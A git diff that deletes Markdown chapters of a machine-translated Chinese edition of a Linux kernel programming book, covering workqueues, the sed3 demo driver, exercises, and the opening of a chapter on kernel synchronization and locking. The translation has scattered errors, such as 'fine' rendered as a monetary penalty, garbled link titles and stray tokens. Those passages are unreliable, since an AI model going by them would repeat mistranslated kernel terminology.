cancel_work_sync(struct work_struct *work); -bool cancel_delayed_work(struct delayed_work *dwork); -bool cancel_delayed_work_sync(struct delayed_work *dwork); -``` - -挺简单的,真的:用过`INIT_WORK()``schedule_work()`套路就用`cancel_work_sync()`;当你推迟了工作任务时,使用后两种方法。请注意,其中两个例程以`_sync`为后缀;这意味着取消是*同步*–内核会等到你的工作任务完成执行,这些函数才会返回!这通常是我们想要的。这些例程返回一个布尔值:`True`如果有工作等待处理,否则返回`False`。 - -Within a kernel module, not canceling (or flushing) your work task(s) in your cleanup (`rmmod`) code path is a sure-fire way to cause serious issues; ensure you do so! - -内核工作队列子系统还提供了一些`flush_*()`例程(包括`flush_scheduled_work()`、`flush_workqueue()`和`flush_[delayed_]work()`)。内核文档([https://www . kernel . org/doc/html/latest/core-API/workqueue . html](https://www.kernel.org/doc/html/latest/core-api/workqueue.html))清楚地警告我们,这些例程不是最容易使用的,因为您很容易使用它们导致死锁问题。建议您改用前面提到的`cancel_[delayed_]work[_sync]()`API。 - -### 工作流程的快速摘要 - -使用内核全局工作队列时,会出现一个简单的模式(工作流): - -1. *初始化*工作任务。 -2. 在适当的时间点,*安排*执行它(可能有延迟和/或在特定的中央处理器内核上)。 -3. 清理干净。通常,在内核模块(或驱动程序)清理代码路径中,*取消*它。(最好同步进行,以便首先完成任何未完成的工作任务。在这里,我们将坚持使用推荐的`cancel*work*()`套路,避免使用`flush_*()`套路。 - -让我们用一个表格来总结一下: - -| **使用内核全局工作队列** | **常规工作任务** | **延迟工作任务** | **在给定的 CPU 上执行工作任务** | -| 1.初始化 | `INIT_WORK()` | `INIT_DELAYED_WORK()` | *<要么即刻要么推迟的罚款>* | -| 2.计划要执行的工作任务 | `schedule_work()` | `schedule_delayed_work()` | `schedule_delayed_work_on()` | -| 3.取消(或冲洗)它; *foo_sync()* 确保完成 | `cancel_work_sync()` | `cancel_delayed_work_sync()` | *<要么即刻要么推迟的罚款>* | - -Table 5.4 – Using the kernel-global workqueue – summary of the workflow - -在接下来的几节中,我们将使用内核默认工作队列编写一个简单的内核模块,以便执行工作任务。 - -## 我们简单的工作队列内核模块——代码视图 - -让我们用工作队列来动手吧!在接下来的部分中,我们将编写一个简单的演示内核模块(`ch5/workq_simple`),演示如何使用内核默认的工作队列来执行工作任务。它实际上建立在我们早期的 LKM 之上,我们用它来演示内核定时器(`ch5/timer_simple`)。让我们从代码的角度来检查它(像往常一样,我们不会在这里显示完整的代码,只显示最相关的部分)。我们将从查看它的私有上下文数据结构和*初始化*方法开始: - -```sh -static struct st_ctx { - struct work_struct work; - struct timer_list tmr; - int data; -} ctx; -[ ... ] -static int __init workq_simple_init(void) -{ - ctx.data = INITIAL_VALUE; - /* Initialize our work queue */ - INIT_WORK(&ctx.work, work_func); - /* Initialize our kernel timer */ - ctx.tmr.expires = jiffies + msecs_to_jiffies(exp_ms); - ctx.tmr.flags = 0; - timer_setup(&ctx.tmr, ding, 0); - add_timer(&ctx.tmr); /* Arm it; let's get going! */ - return 0; -} -``` - -需要思考的一个关键点是:我们将如何设法将一些有用的数据项传递给我们的工作功能?`work_struct`结构只有一个用于内部目的的原子长整数。a 好(而且很典型!)诀窍是让你的`work_struct`结构嵌入到你的驱动的上下文结构中;然后,在工作任务回调函数中,使用`container_of()`宏访问父上下文数据结构!这是经常采用的策略。(第`container_of()`是一个强大的宏,但不是真的容易破译!我们已经在*进一步阅读*部分提供了一些有用的链接。)因此,在前面的代码中,我们让驱动程序的上下文结构在其中嵌入了一个`struct work_struct`。您可以在`INIT_WORK()`宏中看到我们工作任务的初始化。 - -一旦定时器准备好了(这里`add_timer()`起作用),它将在大约 420 毫秒后到期,定时器回调函数将在定时器 softirq 上下文中运行(这非常像一个原子上下文): - -```sh -static void ding(struct timer_list *timer) -{ - struct st_ctx *priv = from_timer(priv, timer, tmr); - pr_debug("timed out... data=%d\n", priv->data--); - PRINT_CTX(); - - /* until countdown done, fire it again! */ - if (priv->data) - mod_timer(&priv->tmr, jiffies + msecs_to_jiffies(exp_ms)); - /* Now 'schedule' our work queue function to run */ - if (!schedule_work(&priv->work)) - pr_notice("our work's already on the kernel-global workqueue!\n"); -} -``` - -递减`data`变量后,它设置计时器再次触发(420 ms 内,通过`mod_timer()`),之后,通过`schedule_work()` API,它调度我们的工作队列回调运行!内核将认识到工作队列函数现在必须尽快执行(消耗)。但是等等——工作队列回调必须并且将仅通过全局内核工作线程(所谓的事件线程)在进程上下文中运行*。因此,只有当我们脱离了这个 softirq 上下文,并且(其中一个)“事件”内核工作线程在一个 CPU 运行队列上并且实际运行时,我们的工作队列回调函数才会被调用。* - -放松——这很快就会发生...使用工作队列的全部意义在于,不仅线程管理完全由内核负责,而且该函数还在进程上下文中运行,这样就有可能执行冗长的阻塞或 I/O 操作。 - -再说一遍,多快就是多快?让我们尝试测量一下:我们将紧接在`schedule_work()`之后的时间戳(通过通常的`ktime_get_real_ns()`内联函数)作为工作队列函数中的第一行代码。我们值得信赖的`SHOW_DELTA()`宏观显示了时间上的差异。不出所料,它很小,通常在百分之几微秒的范围内(当然,这取决于几个因素,包括硬件平台、内核版本等)。高负载系统会导致上下文切换到事件内核线程花费更长的时间,这可能会导致工作队列的功能执行延迟。您将在以下部分的截图中看到它的示例运行(*图 5.12* )。 - -下面的代码是我们的工作任务函数。这就是我们使用`container_of()`宏来访问模块上下文结构的地方: - -```sh -/* work_func() - our workqueue callback function! */ -static void work_func(struct work_struct *work) -{ - struct st_ctx *priv = container_of(work, struct st_ctx, work); - - t2 = ktime_get_real_ns(); - pr_info("In our workq function: data=%d\n", priv->data); - PRINT_CTX(); - SHOW_DELTA(t2, t1); -} -``` - -此外,我们的`PRINT_CTX()`宏的输出最终表明该函数在流程上下文中运行。 - -Be careful when you're using `container_of()` within a *delayed* work task callback function – you'll have to specify the third parameter as a `work` member of `struct delayed_work` (one of our exercise questions has you try out this very thing! There's a solution provided as well...). I suggest that you master the basics first before trying this out for yourself. - -在下一节中,我们将运行我们的内核模块。 - -## 我们简单的工作队列内核模块——运行它 - -我们去兜兜风吧!请看下面的截图: - -![](img/a9d89aad-617f-47e8-88d5-37443a49ce5b.png) - -Figure 5.12 – Our workq_simple.ko LKM with the work queue function execution highlighted - -让我们更详细地看看这段代码: - -* 通过我们的`lkm`助手脚本,我们构建然后`insmod(8)`内核模块;也就是`workq_simple.ko`。 -* 内核日志通过`dmesg(1)`显示: - * 这里,工作队列和内核定时器在 init 方法中被初始化和武装。 - * 定时器到期(大约 420 毫秒);你可以看到它的 printks(显示`timed out...`和我们的`data`变量的值)。 - * 它调用`schedule_work()` API,导致我们的工作队列函数运行。 - * 如前一张截图中突出显示的,我们的工作队列函数`work_func()`确实在运行;它显示数据变量的当前值,证明它正确地获得了对我们的“上下文”或私有数据结构的访问。 - -请注意,我们在这个 LKM 中使用了我们的`PRINT_CTX()`宏(它在我们的`convenient.h`头中)来揭示一些有趣的事情: - -接下来,`SHOW_DELTA()`宏计算并输出正在调度的工作队列和实际执行的工作队列之间的时间差。如您所见(这里,至少在我们的轻负载 x86_64 来宾虚拟机上),它在几百微秒的范围内。 - -为什么不查找用于消耗我们的工作队列的实际内核工作线程呢?PID 上一个简单的`ps(1)`就是这里所需要的。在这种特殊情况下,它恰好是内核的每个 CPU 内核通用工作队列使用者线程之一——一个内核工作者(`kworker/...`)线程: - -```sh -$ ps -el | grep -w 55200 - 1 I 0 55200 2 0 80 0 - 0 - ? 00:00:02 kworker/1:0-mm_percpu_wq - $ -``` - -当然,内核代码库充满了工作队列的使用(尤其是许多设备驱动程序)。请使用`cscope(1)`查找并浏览此类代码的实例。 - -## sed3 迷你项目–非常简单的外观 - -让我们在本章结束时,简单回顾一下我们的`sed2`项目到`sed3`的演变。这个小项目和`sed2`一模一样,只是更简单!(en/de)加密工作**现在由我们的工作任务(函数)通过内核的工作队列功能**或下半部分机制来执行。我们使用工作队列——默认的内核全局工作队列——来完成工作,而不是手动创建和管理 kthreads(就像我们在`sed2`中所做的那样)! - -下面的截图显示了我们访问一个示例运行的内核日志;在运行中,我们让用户模式应用加密,然后解密,然后检索消息进行查看。我们在这里强调了两个红色矩形中有趣的部分——通过内核全局工作队列的工作线程执行我们的工作任务: - -![](img/670779a5-067a-4d15-be9b-d4dcd7b862b5.png) - -Figure 5.13 – Kernel log when running our sed3 driver; the work task running via the default kernel-global workqueue is highlighted - -顺便说一下,用户模式应用和我们在`sed2`中使用的是一样的。前面的截图显示了(通过我们信任的`PRINT_CTX()`宏)内核全局工作队列用来运行我们的加密和解密工作的实际内核工作线程;在这种特殊情况下,加密工作是`[kworker/1:0]` PID 9812,解密工作是`[kworker/0:2]` PID 9791。请注意它们都是如何在流程上下文中运行的。我们将让您浏览`sed3` ( `ch5/sed3`)的代码。 - -这就结束了这一部分。在这里,您了解了内核工作队列基础设施如何成为模块/驱动程序作者的福音,因为它帮助您在内核线程、它们的创建以及复杂的管理和操作的底层细节上添加了一个强大的抽象层。它使您可以非常容易地在内核中执行工作,尤其是通过使用预先存在的内核全局(默认)工作队列,而不必担心血淋淋的细节。 - -# 摘要 - -干得好!我们在这一章中谈了很多。首先,您学习了如何在内核空间中创建延迟,包括原子和阻塞类型(分别通过`*delay()`和`*sleep()`例程)。接下来,您学习了如何在 LKM(或驱动程序)中设置和使用内核定时器——这是一项非常常见且必需的任务。直接创建和使用内核线程可能是一种令人兴奋(甚至困难)的体验,这就是为什么您学习了这样做的基础。之后,您看了内核工作队列子系统,它解决了复杂性(和并发性)问题。您了解了它是什么,以及如何实际利用内核全局(默认)工作队列来使您的工作任务在需要时执行。 - -我们设计和实现的三个`sed`(简单加密解密)演示驱动程序系列向您展示了这些有趣技术的一个更复杂的用例:`sed1`使用超时实现,`sed2`添加到内核线程来执行工作,`sed3`使用内核全局工作队列在需要时消耗工作。 - -请花一些时间来完成本章的以下*问题*/练习,并浏览*进一步阅读*资源。完成后,我建议你好好休息一下,跳回去。我们就快到了:最后两章涵盖了一个非常关键的主题——内核同步! - -# 问题 - -1. 找出以下伪代码中的错误: - -```sh -static my_chip_tasklet(void) -{ - // ... process data - if (!copy_to_user(to, from, count)) { - pr_warn("..."); [...] - } -} -static irqreturn_t chip_hardisr(int irq, void *data) -{ - // ack irq - // << ... fetch data into kfifo ... >> - // << ... call func_a(), delay, then call func_b() >> - func_a(); - usleep(100); // 100 us delay required here! see datasheet pg ... - func_b(); - tasklet_schedule(...); - return IRQ_HANDLED; -} -my_chip_probe(...) -{ - // ... - request_irq(CHIP_IRQ, chip_hardisr, ...); - // ... - tasklet_init(...); -} -``` - -2. `timer_simple_check`:增强`timer_simple`内核模块,使其检查设置超时和实际服务之间经过的时间。 -3. `kclock`:写一个内核模块,设置一个内核定时器,让它每秒都超时。然后,使用它将时间戳打印到内核日志中,实际上在内核中获得一个简单的“时钟应用”。 - -4. `mutlitime` *:* 开发一个内核模块,以发出定时器回调的秒数作为参数。将其默认为零(意味着没有计时器,因此存在有效性错误)。它应该是这样工作的:如果传递的数字是 3,它应该创建三个内核定时器;第一个将在 3 秒后过期,第二个在 2 秒后过期,最后一个在 1 秒后过期。换句话说,如果传递的数字是“n”,它应该创建“n”个内核定时器;第一个将在“n”秒内过期,第二个在“n-1”秒内过期,第三个在“n-2”秒内过期,以此类推,直到计数达到零。 -5. 构建并运行本章中提供的`sed[123]`小项目,并验证(通过查看内核日志)它们以应有的方式工作。 -6. `workq_simple2`:我们提供的`ch5/workq_simple` LKM 通过内核-全局工作队列设置并“消耗”一个工作项(函数);增强它,以便它设置和执行两个“工作”任务。验证它是否正常工作。 -7. `workq_delayed`:在前一个任务(`workq_simple2`)的基础上执行两个工作任务,再加上一个任务(来自初始化代码路径)。这一个(第三个)应该延迟;延迟的时间量应该作为名为`work_delay_ms`的模块参数传递(以毫秒为单位;默认值应为 500 毫秒)。 - 【*提示:*在延时工作任务回拨功能内使用`container_of()`时要小心;您必须指定第三个参数作为`struct delayed_work`的`work`成员;查看我们提供的解决方案]。 - -You will find some of the questions answered in the book's GitHub repo: [https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn). - -# 进一步阅读 - -* 内核文档:*延迟,休眠机制*:[https://www . kernel . org/doc/Documentation/timers/timers-how to . tx](https://www.kernel.org/doc/Documentation/timers/timers-howto.txt) -* 内核定时器系统:[https://elinux.org/Kernel_Timer_Systems#Timer_information](https://elinux.org/Kernel_Timer_Systems#Timer_information) - -* 工作队列: - * 这是一个非常好的演示:*与工作队列的异步执行*,Bhaktipriya Shridhar:[https://events . static . linuxfind . org/sites/events/file/slides/Async % 20 execution % 20 with % 20 wqs . pdf](https://events.static.linuxfound.org/sites/events/files/slides/Async%20execution%20with%20wqs.pdf) - * 内核文档:*并发管理工作队列(cmwq)*:[https://www . kernel . org/doc/html/latest/core-API/Workqueue . html #并发管理工作队列-cmwq](https://www.kernel.org/doc/html/latest/core-api/workqueue.html#concurrency-managed-workqueue-cmwq) - -* `container_of()`宏解释道: - * *宏*的神奇容器 _ 2012 年 11 月:[https://radek.io/2012/11/10/magical-container_of-macro/](https://radek.io/2012/11/10/magical-container_of-macro/) - * *对 linux 内核中宏容器的理解*:[https://embetronix . com/tutories/Linux/c-programming/对 Linux 内核中宏容器的理解/](https://embetronicx.com/tutorials/linux/c-programming/understanding-of-container_of-macro-in-linux-kernel/) \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/6.md b/docs/linux-kernel-prog-pt2/6.md deleted file mode 100644 index 15fda3cc..00000000 --- a/docs/linux-kernel-prog-pt2/6.md +++ /dev/null @@ -1,1198 +0,0 @@ -# 六、内核同步——第一部分 - -任何熟悉多线程环境(或者甚至是单线程环境,其中多个进程在共享内存上工作,或者中断是可能的)中编程的开发人员都很清楚,每当两个或更多线程(通常是代码路径)可能竞争时,就需要**同步**;也就是说,他们的结局无法预测。纯代码本身从来不是问题,因为它的权限是读/执行(`r-x`);在多个 CPU 内核上同时读取和执行代码不仅非常好和安全,而且受到鼓励(这导致了更好的吞吐量,这也是多线程是一个好主意的原因)。但是,当您处理共享可写数据时,您需要开始非常小心! - -围绕并发及其控制(同步)的讨论是多种多样的,尤其是在复杂软件的背景下,如 Linux 内核(其子系统和相关区域,如设备驱动程序),这就是我们在本书中讨论的。因此,为了方便起见,我们将把这个大主题分成两章,这一章和下一章。 - -在本章中,我们将涵盖以下主题: - -* 关键部分、排他执行和原子性 -* Linux 内核中的并发问题 -* 互斥还是自旋锁?什么时候使用哪个 -* 使用互斥锁 -* 使用自旋锁 -* 锁定和中断 - -我们开始吧! - -# 关键部分、排他执行和原子性 - -想象一下,你正在为多核系统编写软件(嗯,现在,你通常会在多核系统上工作,甚至在大多数嵌入式项目上)。正如我们在介绍中提到的,并行运行多个代码路径不仅安全,而且是可取的(为什么要花那些钱呢,对吗?).另一方面,以任何方式访问**共享可写数据**(也称为**共享状态** ) **的并发(并行和同时)代码路径是要求您保证在任何给定时间点,一次只有一个线程可以处理该数据的地方!这真的很关键;为什么呢?想想看:如果您允许多个并发代码路径在共享的可写数据上并行工作,您实际上是在自找麻烦:**数据损坏**(一种“竞争”)可能因此而发生。** - -## 什么是关键部分? - -可以并行执行并处理(读取和/或写入)共享可写数据(共享状态)的代码路径称为关键部分。它们需要避免并行性。识别和保护关键部分不被同时执行是正确软件的隐含要求,你——设计者/架构师/开发人员——必须处理。 - -关键部分是一段必须以独占方式运行的代码;也就是说,单独的(序列化的),或者原子的;也就是说,不可分割地、不间断地完成。 - -通过排他,我们暗示在任何给定的时间点,一个线程正在运行关键部分的代码;出于数据安全的原因,这显然是必需的。 - -这个概念也提出了原子性的重要概念:单个原子操作是不可分割的。在任何现代处理器上,两个操作被认为永远是**原子**;也就是说,它们不能被中断,并将一直运行到完成: - -* 单一机器语言指令的执行。 -* 读取或写入处理器字长(通常为 32 或 64 位)内的对齐原始数据类型;例如,在 64 位系统上读取或写入 64 位整数保证是原子的。读取该变量的线程将永远看不到介于中间、撕裂或脏的结果;他们要么看到旧的价值,要么看到新的价值。 - -因此,如果您有一些处理共享(全局或静态)可写数据的代码行,在没有任何显式同步机制的情况下,它不能保证以独占方式运行。请注意,有时需要原子地运行关键部分的代码*、*以及排他地运行,但不是一直都需要。 - -当关键部分的代码运行在安全到睡眠的进程上下文中时(例如通过用户应用对驱动程序进行的典型文件操作(open、read、write、ioctl、mmap 等),或者内核线程或工作队列的执行路径),不将关键部分真正原子化可能是可以接受的。然而,当它的代码在非阻塞原子上下文中运行时(如 hardirq、小任务或 softirq),*它必须以原子方式运行,也必须以独占方式运行*(我们将在*互斥体或自旋锁中更详细地讨论这些问题?*节时使用哪个)。 - -一个概念性的例子将有助于澄清事情。假设三个线程(来自用户空间应用)试图在多核系统上或多或少地同时打开和读取驱动程序。如果没有任何干预,他们很可能会并行运行关键部分的代码,从而并行处理共享的可写数据,因此很可能会破坏它!现在,让我们看一个概念图,看看关键部分代码路径中的非独占执行是如何出错的(我们甚至不会在这里讨论原子性): - -![](img/4daabc10-0ddf-4879-96c2-49eeb6aa96e3.png) - -Figure 6.1 – A conceptual diagram showing how a critical section code path is violated by having >1 thread running within it simultaneously - -如上图所示,在您的设备驱动程序中,在它的(比方说)read 方法中,您让它运行一些代码来执行它的工作(从硬件中读取一些数据)。让我们更深入地看一下这个图表*在不同时间点进行的数据访问*: - -* 从`t0`到`t1`时间:无或仅访问局部变量数据。这是并发安全的,不需要保护,并且可以并行运行(因为每个线程都有自己的私有堆栈)。 -* 从`t1`到`t2`:访问全局/静态共享可写数据。这是*不是*并发-安全;这是**的一个关键部分**,因此必须**保护**不被并发访问。它应该只包含专门运行的代码(单独运行,一次只运行一个线程,序列化),并且可能是原子性的。 -* 从`t2`到`t3`时间:无或仅访问局部变量数据。这是并发安全的,不需要保护,并且可以并行运行(因为每个线程都有自己的私有堆栈)。 - -In this book, we assume that you are already aware of the need to synchronize critical sections; we will not discuss this particular topic any further. Those of you who are interested may refer to my earlier book, *Hands-On System Programming with Linux (Packt, October 2018)*, which covers these points in detail (especially *Chapter 15*, *Multithreading with Pthreads Part II – Synchronization*). - -因此,知道了这一点,我们现在可以重申一个关键部分的概念,同时也提到当情况出现时(显示在方括号中,斜体在项目符号中)。关键部分是必须按如下方式运行的代码: - -* **(始终)独占**:单独(连载) -* **(当处于原子上下文中时)原子地**:不可分割地,不间断地完成 - -在下一节中,我们将看一个经典的场景——全局整数的增量。 - -## 一个经典案例——全球 i ++ - -想一想这个经典的例子:一个全局`i`整数在一个并发代码路径中递增,在这个路径中多个执行线程可以同时执行。对计算机硬件和软件的天真理解会让你相信这个操作显然是原子的。然而,现实是,现代硬件和软件(编译器和操作系统)比你想象的要复杂得多,从而导致了各种(对应用开发者来说)看不见的性能驱动的优化。 - -We won't attempt to delve into too much detail here, but the reality is that modern processors are extremely complex: among the many technologies they employ toward better performance, a few are superscalar and super-pipelined execution in order to execute multiple independent instructions and several parts of various instructions in parallel (respectively), performing on-the-fly instruction and/or memory reordering, caching memory in complex hierarchical on-CPU caches, false sharing, and so on! We will delve into some of these details in [Chapter 7](7.html), *Kernel Synchronization – Part 2*, in the *Cache effects – false sharing* and *Memory barriers* sections. - -The paper *What every systems programmer should know about concurrency* by *Matt Kline, April 2020*, ([https://assets.bitbashing.io/papers/concurrency-primer.pdf](https://assets.bitbashing.io/papers/concurrency-primer.pdf)) is superb and a must-read on this subject; do read it! - -所有这些使得情况比乍看起来更复杂。让我们继续经典的`i ++`: - -```sh -static int i = 5; -[ ... ] -foo() -{ - [ ... ] - i ++; // is this safe? yes, if truly atomic... but is it truly atomic?? -} -``` - -这个增量本身安全吗?简短的回答是不,你必须保护它。为什么呢?这是一个关键部分—我们正在访问共享的可写数据以进行读和/或写操作。更长的答案是,它真的取决于增量操作是否真的是原子的(不可分割的);如果是,那么`i ++`在平行性存在的情况下不会构成危险——如果不是,它会!那么,我们如何知道`i ++`是否真的是原子的呢?有两件事决定了这一点: - -* 处理器的**指令集架构** ( **ISA** ),它确定(在与低级别处理器相关的几件事情中)运行时执行的机器指令。 -* 编译器。 - -如果 ISA 能够使用单个机器指令来执行整数增量,*和*编译器能够智能地使用它,*那么*就是真正的原子指令——它是安全的,不需要锁定。否则不安全,需要上锁! - -**试试这个**:把你的浏览器导航到这个奇妙的编译器浏览器网站:[https://godbolt.org/](https://godbolt.org/)。选择 C 作为编程语言,然后在左窗格中,声明函数内的全局`i`整数和增量。使用适当的编译器和编译器选项在右窗格中编译。您将看到为 C 高级`i ++;`语句生成的实际机器代码。如果确实是单机指令,那么就安全了;如果没有,您将需要锁定。总的来说,你会发现你真的分不清:实际上,你*无法*承担起假设的事情——你将不得不默认它是不安全的,并保护它!这可以在下面的截图中看到: - -![](img/a6f1659c-346b-40c8-b5e0-f0e4033381ef.png) - -Figure 6.2 – Even with the latest stable gcc version but no optimization, the x86_64 gcc produces multiple instructions for the i ++ - -前面的截图清楚地显示了这一点:左侧和右侧窗格中的黄色背景区域分别是 C 源代码和编译器生成的相应程序集(基于 x86_64 ISA 和编译器的优化级别)。默认情况下,在没有优化的情况下,`i ++`变成三条机器指令。这正是我们所期望的:它对应于*获取*(内存注册)*增量**存储*(内存注册)!现在,这是*不是*原子;完全有可能的是,在其中一条机器指令执行后,控制单元会干涉并将指令流切换到不同的点。这甚至可能导致另一个进程或线程被上下文切换! - -好消息是,在`Compiler options...`窗口中快速点击`-O2`,T2 就变成了一条机器指令——真正的原子指令!然而,我们无法提前预测这些事情;总有一天,你的代码可能会在一个相当低端的 ARM (RISC)系统上执行,增加`i ++`需要多条机器指令的机会。(不要担心–我们将在*中使用原子整数运算符*部分介绍专门针对整数的优化锁定技术)。 - -Modern languages provide native atomic operators; for C/C++, it's fairly recent (from 2011); the ISO C++11 and the ISO C11 standards provide ready-made and built-in atomic variables for this. A little googling will quickly reveal them to you. Modern glibc also makes use of them. As an example, if you've worked with signaling in user space, you will know to use the `volatile sig_atomic_t` data type to safely access and/or update an atomic integer within signal handlers. What about the kernel? In the next chapter, you'll learn about the Linux kernel's solution to this key issue. We'll cover this in the *Using the atomic integer operators* and *Using the atomic bit operators* sections. - -当然,Linux 内核是一个并发环境:多个执行线程在多个 CPU 内核上并行运行。不仅如此,即使在单处理器系统中,硬件中断、陷阱、故障、异常和软件信号的存在也会导致数据完整性问题。不用说,在代码路径的要求点上防止并发是说起来容易做起来难;使用锁定等技术以及其他同步原语和技术来识别和保护关键部分是绝对必要的,这就是为什么这是本章和下一章的核心主题。 - -## 概念–锁 - -我们需要同步,因为在没有任何干预的情况下,线程可以同时执行正在处理共享可写数据(共享状态)的关键部分。为了战胜并发性,我们需要消除并行性,我们需要*序列化*关键部分中的代码——共享数据被处理的地方(用于读取和/或写入)。 - -要强制代码路径序列化,一种常见的技术是使用**锁**。本质上,锁的工作原理是保证恰好一个执行线程可以在任何给定的时间点“获取”或拥有锁。因此,使用锁来保护代码中的关键部分会给你我们想要的东西——专门运行关键部分的代码(也许是原子的;更多关于这方面的信息): - -![](img/5ccf6307-e970-4b7f-bcaa-566fb4acfb80.png) - -Figure 6.3 – A conceptual diagram showing how a critical section code path is honored, given exclusivity, by using a lock - -上图显示了一种修复前面提到的情况的方法:使用锁来保护关键部分!从概念上讲,锁(和解锁)是如何工作的? - -锁的基本前提是,每当存在争用时——也就是说,当多个竞争线程(比如说,`n`线程)试图获取锁时(`LOCK`操作)——只有一个线程会成功。这被称为锁的“赢家”或“所有者”。它将*锁定* API 视为非阻塞调用,因此在执行关键部分的代码时继续愉快地——并且独占地——运行(关键部分实际上是*锁定*和*解锁*操作之间的代码!).`n-1`“失败者”的线索会怎么样?他们(也许)将锁应用编程接口视为阻塞调用;实际上,他们在等待。侍候什么?*解锁*操作,当然是由锁的主人(“赢家”线程)来执行!一旦解锁,剩余的`n-1`线程现在将争夺下一个“赢家”位置;当然,他们中正好有一个会“赢”并继续前进;在此期间,`n-2`输家将等待(新)赢家的*解锁*;这样重复,直到所有`n`线程(最终顺序)获得锁。 - -现在,锁定当然有效,但是——这应该是非常直观的——它导致(相当陡峭!)**开销,因为它击败了并行性,序列化了**执行流!为了帮助你想象这种情况,想象一个漏斗,狭窄的茎是关键部分,一次只能装一根线。所有其他线程都会阻塞;锁定会产生瓶颈: - -![](img/4f476235-4b35-4d76-8d49-694b0095c1be.png) - -Figure 6.4 – A lock creates a bottleneck, analogous to a physical funnel - -另一个经常被提及的物理模拟是一条高速公路,几条车道合并成一条非常繁忙的车道,交通拥堵(也许是一个设计糟糕的收费站)。同样,并行性——汽车(线程)与不同车道上的其他汽车(CPU)并行行驶——丢失,需要序列化行为——汽车被迫一辆接一辆排队。 - -因此,作为软件架构师,我们必须尝试和设计我们的产品/项目,以便最少需要锁定。虽然在大多数实际项目中完全消除全局变量实际上是不可能的,但是需要优化和最小化它们的使用。我们将在后面介绍更多这方面的内容,包括一些非常有趣的无锁编程技术。 - -另一个真正的关键点是,新手程序员可能天真地认为对共享可写数据对象执行读取是完全安全的,因此不需要显式保护(处理器总线大小内的对齐原语数据类型除外);这是不真实的。这种情况会导致所谓的**脏读或撕裂读**,这种情况下,当另一个写线程正在同时写入时,可能会读取陈旧的数据,而您正在错误地、没有锁定地读取完全相同的数据项。 - -因为我们讨论的是原子性,正如我们刚刚了解到的,在典型的现代微处理器上,唯一保证是原子性的是一条机器语言指令或对处理器总线宽度内对齐的原始数据类型的读/写。那么,我们如何标记几行“C”代码,使它们成为真正的原子代码呢?在用户空间,这甚至是不可能的(我们可以接近,但不能保证原子性)。 - -How do you "come close" to atomicity in user space apps? You can always construct a user thread to employ a `SCHED_FIFO` policy and a real-time priority of `99`. This way, when it wants to run, pretty much nothing besides hardware interrupts/exceptions can preempt it. (The old audio subsystem implementation heavily relied on this.) - -在内核空间中,我们可以编写真正原子化的代码。具体怎么做?简单地说,我们可以使用自旋锁!我们将很快详细了解自旋锁。 - -### 要点总结 - -让我们总结一些关于关键部分的要点。仔细阅读这些内容,将它们放在手边,并确保在实践中使用它们,这一点非常重要: - -* 一个**关键部分**是一个可以并行执行的代码路径,它处理(读取和/或写入)共享的可写数据(也称为“共享状态”)。 -* 因为它对共享的可写数据起作用,所以关键部分需要以下保护: - * 并行性(也就是说,它必须单独运行/序列化/以互斥方式运行) - * 当在原子(中断)非阻塞上下文中运行时——原子地:不可分割地,直到完成,没有中断。一旦受到保护,您可以安全地访问您的共享状态,直到您“解锁”。 -* 必须识别和保护代码库中的每个关键部分: - * 确定关键部分至关重要!仔细检查你的代码,确保你不会错过它们。 - * 保护它们可以通过各种技术来实现;一种非常常见的技术是*锁定*(还有无锁编程,我们将在下一章中讨论)。 - * 一个常见的错误是只保护*将*写入全局可写数据的关键部分;您还必须保护*读取*全局可写数据的关键部分;否则,你就冒着被**撕破或者弄脏的风险去读!**为了帮助明确这一关键点,可视化一个在 32 位系统上读写的无符号 64 位数据项;在这种情况下,操作不能是原子的(需要两个加载/存储操作)。因此,如果当您在一个线程中读取数据项的值时,另一个线程正在同时写入它,那会怎样呢!?写线程获取某种“锁”,但是因为您认为读取是安全的,所以锁不会被读线程获取;由于不幸的时间巧合,您最终可能会执行部分/撕裂/脏读!在接下来的章节和下一章中,我们将学习如何通过使用各种技术来克服这些问题。 - * 另一个致命的错误是没有使用相同的锁来保护给定的数据项。 - * 未能保护关键部分会导致**数据竞争**,这种情况下,结果(正在读取/写入的数据的实际值)是“活跃的”,这意味着它会因运行时环境和时间而异。这就是所谓的 bug。(一旦进入“领域”,就极难看到、重现、确定其根本原因并修复的 bug。我们将在下一章的*内核*中介绍一些非常强大的东西来帮助您进行锁定调试;一定要看!) -* **异常**:在以下情况下,您是安全的(隐式,无显式保护): - * 当你处理局部变量时。它们被分配在线程的私有堆栈上(或者,在中断上下文中,在本地 IRQ 堆栈上),因此,根据定义,它们是安全的。 - * 当您在无法在另一个上下文中运行的代码中处理共享可写数据时;也就是说,它是按自然顺序连载的。在我们的上下文中,LKM 的*初始化*和*清理*方法是合格的(它们只在`insmod`和`rmmod`上连续运行一次)。 - * 当你处理真正恒定且只读的共享数据时(不过,不要让 C 的`const`关键字愚弄你!). -* 锁定本质上是复杂的;您必须仔细思考、设计和实现这一点,以避免*死锁。*我们将在*锁定指南和死锁*部分对此进行更详细的介绍。 - -# Linux 内核中的并发问题 - -识别一段内核代码中的关键部分至关重要;你连看都看不到怎么保护它?作为一名初露头角的内核/驱动程序开发人员,以下是一些指导原则,可以帮助您认识到并发问题(以及关键部分)可能出现的位置: - -* **对称多处理器** ( **SMP** )系统的存在(`CONFIG_SMP`) -* 可抢占内核的存在 -* 阻塞输入输出 -* 硬件中断(在 SMP 或 UP 系统上) - -这些是需要理解的关键点,我们将在本节中逐一讨论。 - -## 多核 SMP 系统和数据竞赛 - -第一点非常明显;看看下面截图中显示的伪代码: - -![](img/79357d73-c814-478c-b463-1951621f15e2.png) - -Figure 6.5 – Pseudocode – a critical section within a (fictional) driver's read method; it's wrong as there's no locking - -这与我们在*图 6.1* 和 6 *图 3* 中显示的情况相似;只是在这里,我们用伪代码来展示并发性。显然,从时间`t2`到时间`t3`,驱动程序正在处理一些全局共享的可写数据,因此这是一个关键部分。 - -现在,想象一个有四个 CPU 核心的系统(一个 SMP 系统);两个用户空间进程,P1(在比如 CPU 0 上运行)和 P2(在比如 CPU 2 上运行),可以并发打开设备文件并同时发出`read(2)`系统调用。现在,两个进程将同时执行驱动程序读取“方法”,从而同时处理共享的可写数据!这(在`t2`和`t3`之间的代码)是一个关键部分,由于我们违反了基本的排他规则——关键部分必须在任何时间点仅由一个线程执行——我们很可能最终破坏数据、应用,甚至更糟。 - 